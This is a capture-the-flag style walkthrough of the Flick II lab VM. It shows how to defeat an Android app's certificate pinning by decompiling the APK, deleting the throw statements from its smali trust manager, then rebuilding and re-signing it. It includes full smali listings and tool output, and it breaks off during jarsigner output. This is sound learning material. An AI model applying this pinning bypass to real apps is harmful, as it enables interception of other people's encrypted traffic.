So even before I start with the Writeup of the HolidayHackChallenge I needed to return to FlickII and apply my newly acquired skills on this VM!

The basic idea I had was that instead of diving too deep into the Android smali or decompiled Java code I would just hack out the Certificate Pinning! :-)

I loved the idea because once I manage to do this, this will be a highly useful skill for any further android application investigations!

So lets start with the writeup:

Walkthrough Part 1: From APK to Shell

First Order of Business: Setting it all up!

As already stated the VMs comes accompanied by an Android APK and a README file:

files

 

The README file gives us a nice mission:

mission

So cool! :-)

So without much explaining the basics – Detecting the IP of the VM after booting:

nmap-1

 

And a nmap script scan:

nmap-scriptscanning

Accessing the HTTPS Webserver gives an API Message:

first-api-call

 

What Android Emulator to use?

So now it is time to boot up an Android Emulator! I really like the Emulator from Android Studio so I used that one. However I have heard a lot good talk about Genymotion! So if you don’t want to install a whole Android IDE you might want to check out Genymotion!

I have not tried it yet (I really should) however when I first started with this over a year ago Genymotion required VirtualBox as a basis. But because i already have VMware Fusion running on my Mac I did not want to install another virtualization product that hooks my Network interfaces and all that stuff a Virtualization Software needs to do to work properly…

So if you are going the Android Studio route and use the Emulator for the first time you probably want to start the Android Virtual Device Manager:

  1. Start Android Studio
  2. Go To Tools -> Android -> AVD Manager:android-studio

 

3. Now you have a nice GUI to create a virtual android device to your liking: AVD Manager

avd-manager

Here I set up a phone in AVD Manager!

Once you have a Virtual Android Device set up you can easily start it anytime by a direct console command:

Starting the Emulator and Setting a Proxy (and scaling the emulator window)

/path/to/Library/Android/sdk/tools/emulator @testphone -http-proxy http://192.168.0.56:8080 -scale 250dpi

Just put an @ in front of the devices name you have set in AVD Manager. Also you can see here the command for setting a proxy and also for scaling the Emulator. In my case it was bigger than my Macbook Resolution so I wanted to reduce the dpi a bit.

Just play around with dpi values until the Window gets an acceptable size!

et voila – the emulator boots up:

emulator-booting

Once it is booted up you can install the flick-check-dist.apk using adb:

/path/to/Library/Android/sdk/platform-tools/adb install ~/Desktop/flick-check-dist.apk
1200 KB/s (1109803 bytes in 0.902s)
	pkg: /data/local/tmp/flick-check-dist.apk
Success

And you have a new program installed:

apk-installed

Starting FlickCheck it asks for the Server IP:

setting-server

When you start the Emulator without an HTTP Proxy you will see the App and can play around with it:

free

Now wouldn’t it be great to just MitM the HTTPS API Calls and send custom commands?

Turns out you can’t (just yet) :-(

connection-failed

Burp will show us the problem:

cert-pinning-error

 

So an SSL Client will tell the server why it does cancel the SSL negotiation, neat!

Second Order of Business: MitM the APK

So now I am as far as i was in August 2015 when I stopped with this VM! Luckily as said in the intro this years SANS Holiday Hack Challenge teached me how to circumvent this problem:

jadx-gui and apktool to the rescue \o/

One important lesson in IT-Security design is, that the client is hostile! So once you release a program into the wild you basically lose control over it!

Android Apps written in Java are very easy to reverse engineer!

The first thing with my newly aquired skills was to open the flick-check-dist.apk in jadx-gui (grab jadx here).

This will not just decompile to smali code but instead reconstruct an approximation of the initial Java Code.

Inside of this i quickly found the Function that performed the certificate pinning (the so called Trust Manager):

jadx-trust-manager

See the long PUB_KEY string? Thats the Certificate hash that is pinned!

Now how if we could just decompile the APK, change the program logic and then recompile and execute it!

Good thing we can with apktool!

Grab apktool here if you have not already downloaded it!
Now armed with apktool we can decompile the apk to smali code:

/path/to//apktool d ~/Desktop/flick-check-dist.apk 
I: Using Apktool 2.2.1 on flick-check-dist.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: ./Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

And now we got the decompiled application:

decompiled-smali-code

 

Directory listing of the decompiled smali folder

Now I asked myself the following questions:

a) How is the certificate Pinning implemented in the app?

This can easily be answered with jadx-gui! Searching for the PubKeyManager function name in the code…

search-trustmanager

…shows where it is being called:

pubkeymanager-functioncall

 

Now lets look at the smali code of PubKeyManager.smali:

MahcBook-Pro:flickcheck sebastianbrabetz$ cat PubKeyManager.smali 
.class public final Lcom/flick/flickcheck/PubKeyManager;
.super Ljava/lang/Object;
.source "PubKeyManager.java"

# interfaces
.implements Ljavax/net/ssl/X509TrustManager;


# static fields
.field static final synthetic $assertionsDisabled:Z

.field private static PUB_KEY:Ljava/lang/String;


# direct methods
.method static constructor ()V
    .locals 1

    .prologue
    .line 13
    const-class v0, Lcom/flick/flickcheck/PubKeyManager;

    invoke-virtual {v0}, Ljava/lang/Class;->desiredAssertionStatus()Z

    move-result v0

    if-nez v0, :cond_0

    const/4 v0, 0x1

    :goto_0
    sput-boolean v0, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    .line 17
    const-string v0, "30820122300d06092a864886f70d01010105000382010f003082010a0282010100b7051e2040155a8e78903e325a8680bd680f0c9cbd164225422a6face762db4da9c7fa11687cc10fc1a20ea1e31260525145d5b18e2692e6e61e0b00d14e78fc62d031cafef90d9dc9599527beae644d1ce0af5b4ec21d405544a1c4a69fc39704e5897791c407f5e77c8bc195be7bcdb6fb30da1f2485d8853c9ce40ebc834e5d7c5c81f052ad03a57921aa940d6b928a0cee39979398e84d9cbf57565109f42f9634db46211f65b89fb9c7375e5a9810c0a89d10b7b6d9301eab716102e35ffe09ae29f764bc2527534e68381306fb7a984c208baa00090b65f4c44d0ace781cd9779130b9e4ea1a54c8bc3c1e9fa31855ebf57f72815775bba604ed6d41290203010001"

    sput-object v0, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    return-void

    .line 13
    :cond_0
    const/4 v0, 0x0

    goto :goto_0
.end method

.method public constructor ()V
    .locals 0

    .prologue
    .line 13
    invoke-direct {p0}, Ljava/lang/Object;->()V

    return-void
.end method


# virtual methods
.method public checkClientTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
    .locals 0
    .param p1, "xcs"    # [Ljava/security/cert/X509Certificate;
    .param p2, "string"    # Ljava/lang/String;

    .prologue
    .line 71
    return-void
.end method

.method public checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
    .locals 6
    .param p1, "chain"    # [Ljava/security/cert/X509Certificate;
    .param p2, "authType"    # Ljava/lang/String;
    .annotation system Ldalvik/annotation/Throws;
        value = {
            Ljava/security/cert/CertificateException;
        }
    .end annotation

    .prologue
    .line 32
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_0

    if-nez p1, :cond_0

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    throw v3

    .line 33
    :cond_0
    if-nez p1, :cond_1

    .line 34
    new-instance v3, Ljava/lang/IllegalArgumentException;

    const-string v4, "checkServerTrusted: X509Certificate array is null"

    invoke-direct {v3, v4}, Ljava/lang/IllegalArgumentException;->(Ljava/lang/String;)V

    throw v3

    .line 38
    :cond_1
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_2

    array-length v3, p1

    if-gtz v3, :cond_2

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    throw v3

    .line 39
    :cond_2
    array-length v3, p1

    if-gtz v3, :cond_3

    .line 40
    new-instance v3, Ljava/lang/IllegalArgumentException;

    const-string v4, "checkServerTrusted: X509Certificate is empty"

    invoke-direct {v3, v4}, Ljava/lang/IllegalArgumentException;->(Ljava/lang/String;)V

    throw v3

    .line 54
    :cond_3
    const/4 v3, 0x0

    aget-object v3, p1, v3

    invoke-virtual {v3}, Ljava/security/cert/X509Certificate;->getPublicKey()Ljava/security/PublicKey;

    move-result-object v2

    check-cast v2, Ljava/security/interfaces/RSAPublicKey;

    .line 55
    .local v2, "pubkey":Ljava/security/interfaces/RSAPublicKey;
    new-instance v3, Ljava/math/BigInteger;

    const/4 v4, 0x1

    invoke-interface {v2}, Ljava/security/interfaces/RSAPublicKey;->getEncoded()[B

    move-result-object v5

    invoke-direct {v3, v4, v5}, Ljava/math/BigInteger;->(I[B)V

    const/16 v4, 0x10

    invoke-virtual {v3, v4}, Ljava/math/BigInteger;->toString(I)Ljava/lang/String;

    move-result-object v0

    .line 59
    .local v0, "encoded":Ljava/lang/String;
    sget-object v3, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    invoke-virtual {v3, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z

    move-result v1

    .line 60
    .local v1, "expected":Z
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_4

    if-nez v1, :cond_4

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    throw v3

    .line 61
    :cond_4
    if-nez v1, :cond_5

    .line 62
    new-instance v3, Ljava/security/cert/CertificateException;

    new-instance v4, Ljava/lang/StringBuilder;

    invoke-direct {v4}, Ljava/lang/StringBuilder;->()V

    const-string v5, "checkServerTrusted: Expected public key: "

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    sget-object v5, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    const-string v5, ", got public key:"

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v4

    invoke-direct {v3, v4}, Ljava/security/cert/CertificateException;->(Ljava/lang/String;)V

    throw v3

    .line 66
    :cond_5
    return-void
.end method

.method public getAcceptedIssuers()[Ljava/security/cert/X509Certificate;
    .locals 1

    .prologue
    .line 76
    const/4 v0, 0x0

    return-object v0
.end method

So goto, much complex, such complicated, so wow!

This brings the next question:

b) How to disable the Certificate Pinning check?

Lets look closely again at the code that calls the PubKeyManager() function in jadx:

functioncall2Aha an exception catcher logic!

Once again the PubKeyManager Function:

pubkeymanager2

 

So the program logic is, that everything works well as long as the PubKeyManager() Function does not throw an exception!

Now what did i see all over the smali code of the PubKeyManager.smali file?

 new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    throw v3

Crazy thought: What if I just remove all “throw” statements in the PubKeyManager.smali file?

The resulting code looks like this:

MahcBook-Pro:flickcheck sebastianbrabetz$ cat PubKeyManager.smali 
.class public final Lcom/flick/flickcheck/PubKeyManager;
.super Ljava/lang/Object;
.source "PubKeyManager.java"

# interfaces
.implements Ljavax/net/ssl/X509TrustManager;


# static fields
.field static final synthetic $assertionsDisabled:Z

.field private static PUB_KEY:Ljava/lang/String;


# direct methods
.method static constructor ()V
    .locals 1

    .prologue
    .line 13
    const-class v0, Lcom/flick/flickcheck/PubKeyManager;

    invoke-virtual {v0}, Ljava/lang/Class;->desiredAssertionStatus()Z

    move-result v0

    if-nez v0, :cond_0

    const/4 v0, 0x1

    :goto_0
    sput-boolean v0, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    .line 17
    const-string v0, "30820122300d06092a864886f70d01010105000382010f003082010a0282010100b7051e2040155a8e78903e325a8680bd680f0c9cbd164225422a6face762db4da9c7fa11687cc10fc1a20ea1e31260525145d5b18e2692e6e61e0b00d14e78fc62d031cafef90d9dc9599527beae644d1ce0af5b4ec21d405544a1c4a69fc39704e5897791c407f5e77c8bc195be7bcdb6fb30da1f2485d8853c9ce40ebc834e5d7c5c81f052ad03a57921aa940d6b928a0cee39979398e84d9cbf57565109f42f9634db46211f65b89fb9c7375e5a9810c0a89d10b7b6d9301eab716102e35ffe09ae29f764bc2527534e68381306fb7a984c208baa00090b65f4c44d0ace781cd9779130b9e4ea1a54c8bc3c1e9fa31855ebf57f72815775bba604ed6d41290203010001"

    sput-object v0, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    return-void

    .line 13
    :cond_0
    const/4 v0, 0x0

    goto :goto_0
.end method

.method public constructor ()V
    .locals 0

    .prologue
    .line 13
    invoke-direct {p0}, Ljava/lang/Object;->()V

    return-void
.end method


# virtual methods
.method public checkClientTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
    .locals 0
    .param p1, "xcs"    # [Ljava/security/cert/X509Certificate;
    .param p2, "string"    # Ljava/lang/String;

    .prologue
    .line 71
    return-void
.end method

.method public checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
    .locals 6
    .param p1, "chain"    # [Ljava/security/cert/X509Certificate;
    .param p2, "authType"    # Ljava/lang/String;
    .annotation system Ldalvik/annotation/Throws;
        value = {
            Ljava/security/cert/CertificateException;
        }
    .end annotation

    .prologue
    .line 32
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_0

    if-nez p1, :cond_0

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    .line 33
    :cond_0
    if-nez p1, :cond_1

    .line 34
    new-instance v3, Ljava/lang/IllegalArgumentException;

    const-string v4, "checkServerTrusted: X509Certificate array is null"

    invoke-direct {v3, v4}, Ljava/lang/IllegalArgumentException;->(Ljava/lang/String;)V

    .line 38
    :cond_1
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_2

    array-length v3, p1

    if-gtz v3, :cond_2

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    .line 39
    :cond_2
    array-length v3, p1

    if-gtz v3, :cond_3

    .line 40
    new-instance v3, Ljava/lang/IllegalArgumentException;

    const-string v4, "checkServerTrusted: X509Certificate is empty"

    invoke-direct {v3, v4}, Ljava/lang/IllegalArgumentException;->(Ljava/lang/String;)V

    .line 54
    :cond_3
    const/4 v3, 0x0

    aget-object v3, p1, v3

    invoke-virtual {v3}, Ljava/security/cert/X509Certificate;->getPublicKey()Ljava/security/PublicKey;

    move-result-object v2

    check-cast v2, Ljava/security/interfaces/RSAPublicKey;

    .line 55
    .local v2, "pubkey":Ljava/security/interfaces/RSAPublicKey;
    new-instance v3, Ljava/math/BigInteger;

    const/4 v4, 0x1

    invoke-interface {v2}, Ljava/security/interfaces/RSAPublicKey;->getEncoded()[B

    move-result-object v5

    invoke-direct {v3, v4, v5}, Ljava/math/BigInteger;->(I[B)V

    const/16 v4, 0x10

    invoke-virtual {v3, v4}, Ljava/math/BigInteger;->toString(I)Ljava/lang/String;

    move-result-object v0

    .line 59
    .local v0, "encoded":Ljava/lang/String;
    sget-object v3, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    invoke-virtual {v3, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z

    move-result v1

    .line 60
    .local v1, "expected":Z
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_4

    if-nez v1, :cond_4

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    .line 61
    :cond_4
    if-nez v1, :cond_5

    .line 62
    new-instance v3, Ljava/security/cert/CertificateException;

    new-instance v4, Ljava/lang/StringBuilder;

    invoke-direct {v4}, Ljava/lang/StringBuilder;->()V

    const-string v5, "checkServerTrusted: Expected public key: "

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    sget-object v5, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    const-string v5, ", got public key:"

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v4

    invoke-direct {v3, v4}, Ljava/security/cert/CertificateException;->(Ljava/lang/String;)V

    .line 66
    :cond_5
    return-void
.end method

.method public getAcceptedIssuers()[Ljava/security/cert/X509Certificate;
    .locals 1

    .prologue
    .line 76
    const/4 v0, 0x0

    return-object v0
.end method

No more exceptions beeing thrown that can be catched \o/

Now packing this up again with apktool:

MahcBook-Pro:temp sebastianbrabetz$ ../path/to/apktool b flick-check-dist/ -o flick-hacked.apk
I: Using Apktool 2.2.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
MahcBook-Pro:temp sebastianbrabetz$ ls -l
total 2128
drwxr-xr-x  8 sebastianbrabetz  staff      272 25 Dez 17:13 flick-check-dist
-rw-r--r--  1 sebastianbrabetz  staff  1086587 25 Dez 17:13 flick-hacked.apk

Now lets uninstall the original application:

uninstall-orig-app

 

And install the our newly compiled, certificate pinning free BadBoy:

MahcBook-Pro:temp sebastianbrabetz$ /path/to/Library/Android/sdk/platform-tools/adb install ~/temp/flick-hacked.apk 
963 KB/s (1086587 bytes in 1.101s)
	pkg: /data/local/tmp/flick-hacked.apk
Failure [INSTALL_PARSE_FAILED_NO_CERTIFICATES]

Yet another problem! We first need to sign the APK (a selfsigned cert will suffice).

Here are 2 Simple steps to create yourself a certificate keystore and sign with it:

1. keystore erstellen (osx):
keytool -genkey -keystore (name).keystore -validity 10000 -alias (name)

2. sign app:
jarsigner -keystore (keystorenamename).keystore -verbose APK-NAME.apk (keystorename)

In my case it looks like this:

MahcBook-Pro:temp sebastianbrabetz$ jarsigner -keystore ~/path/to/test.keystore -verbose flick-hacked.apk test
Enter Passphrase for keystore: ******
   adding: META-INF/MANIFEST.MF
   adding: META-INF/TEST.SF
   adding: META-INF/TEST.DSA
  signing: AndroidManifest.xml
  signing: classes.dex
  signing: res/anim/abc_fade_in.xml
  signing: res/anim/abc_fade_out.xml
  signing: res/anim/abc_grow_fade_in_from_bottom.xml
  signing: res/anim/abc_shrink_fade_out_from_bottom.xml
  signing: res/anim/abc_slide_in_bottom.xml
  signing: res/anim/abc_slide_in_top.xml
  signing: res/anim/abc_slide_out_bottom.xml
  signing: res/anim/abc_slide_out_top.xml
  signing: res/color/abc_background_cache_hint_selector_material_dark.xml
  signing: res/color/abc_background_cache_hint_selector_material_light.xml
  signing: res/color/abc_primary_text_disable_only_material_dark.xml
  signing: res/color/abc_primary_text_disable_only_material_light.xml
  signing: res/color/abc_primary_text_material_dark.xml
  signing: res/color/abc_primary_text_material_light.xml
  signing: res/color/abc_search_url_text.xml
  signing: res/color/abc_secondary_text_material_dark.xml
  signing: res/color/abc_secondary_text_material_light.xml
  signing: res/drawable-hdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_btn_check_to_on_mtrl_000.png
  signing: res/drawable-hdpi-v4/abc_btn_check_to_on_mtrl_015.png
  signing: res/drawable-hdpi-v4/abc_btn_radio_to_on_mtrl_000.png
  signing: res/drawable-hdpi-v4/abc_btn_radio_to_on_mtrl_015.png
  signing: res/drawable-hdpi-v4/abc_btn_rating_star_off_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_btn_rating_star_on_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-hdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-hdpi-v4/abc_cab_background_top_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_clear_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_commit_search_api_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_go_search_api_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_moreoverflow_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_paste_mtrl_am_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_selectall_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_share_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_search_api_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_voice_search_api_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_list_divider_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_list_focused_holo.9.png
  signing: res/drawable-hdpi-v4/abc_list_longpressed_holo.9.png
  signing: res/drawable-hdpi-v4/abc_list_pressed_holo_dark.9.png
  signing: res/drawable-hdpi-v4/abc_list_pressed_holo_light.9.png
  signing: res/drawable-hdpi-v4/abc_list_selector_disabled_holo_dark.9.png
  signing: res/drawable-hdpi-v4/abc_list_selector_disabled_holo_light.9.png
  signing: res/drawable-hdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png
  signing: res/drawable-hdpi-v4/abc_popup_background_mtrl_mult.9.png
  signing: res/drawable-hdpi-v4/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_switch_track_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_tab_indicator_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_textfield_activated_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_textfield_default_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png
  signing: res/drawable-ldrtl-hdpi-v17/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-hdpi-v17/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-hdpi-v17/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-ldrtl-hdpi-v17/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-ldrtl-mdpi-v17/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-mdpi-v17/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-mdpi-v17/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-ldrtl-mdpi-v17/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-ldrtl-xhdpi-v17/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xhdpi-v17/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xhdpi-v17/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-ldrtl-xhdpi-v17/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-ldrtl-xxhdpi-v17/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xxhdpi-v17/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xxhdpi-v17/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-ldrtl-xxhdpi-v17/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-ldrtl-xxxhdpi-v17/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xxxhdpi-v17/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xxxhdpi-v17/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-ldrtl-xxxhdpi-v17/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_btn_check_to_on_mtrl_000.png
  signing: res/drawable-mdpi-v4/abc_btn_check_to_on_mtrl_015.png
  signing: res/drawable-mdpi-v4/abc_btn_radio_to_on_mtrl_000.png
  signing: res/drawable-mdpi-v4/abc_btn_radio_to_on_mtrl_015.png
  signing: res/drawable-mdpi-v4/abc_btn_rating_star_off_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_btn_rating_star_on_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-mdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-mdpi-v4/abc_cab_background_top_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_clear_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_commit_search_api_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_go_search_api_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_moreoverflow_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_paste_mtrl_am_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_selectall_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_share_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_search_api_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_voice_search_api_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_list_divider_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_list_focused_holo.9.png
  signing: res/drawable-mdpi-v4/abc_list_longpressed_holo.9.png
  signing: res/drawable-mdpi-v4/abc_list_pressed_holo_dark.9.png
  signing: res/drawable-mdpi-v4/abc_list_pressed_holo_light.9.png
  signing: res/drawable-mdpi-v4/abc_list_selector_disabled_holo_dark.9.png
  signing: res/drawable-mdpi-v4/abc_list_selector_disabled_holo_light.9.png
  signing: res/drawable-mdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png
  signing: res/drawable-mdpi-v4/abc_popup_background_mtrl_mult.9.png
  signing: res/drawable-mdpi-v4/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_switch_track_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_tab_indicator_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_textfield_activated_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_textfield_default_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png
  signing: res/drawable-tvdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-tvdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-v21/abc_cab_background_top_material.xml
  signing: res/drawable-xhdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_btn_check_to_on_mtrl_000.png
  signing: res/drawable-xhdpi-v4/abc_btn_check_to_on_mtrl_015.png
  signing: res/drawable-xhdpi-v4/abc_btn_radio_to_on_mtrl_000.png
  signing: res/drawable-xhdpi-v4/abc_btn_radio_to_on_mtrl_015.png
  signing: res/drawable-xhdpi-v4/abc_btn_rating_star_off_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_btn_rating_star_on_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-xhdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-xhdpi-v4/abc_cab_background_top_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_clear_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_commit_search_api_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_go_search_api_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_moreoverflow_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_paste_mtrl_am_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_selectall_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_share_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_search_api_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_voice_search_api_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_list_divider_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_list_focused_holo.9.png
  signing: res/drawable-xhdpi-v4/abc_list_longpressed_holo.9.png
  signing: res/drawable-xhdpi-v4/abc_list_pressed_holo_dark.9.png
  signing: res/drawable-xhdpi-v4/abc_list_pressed_holo_light.9.png
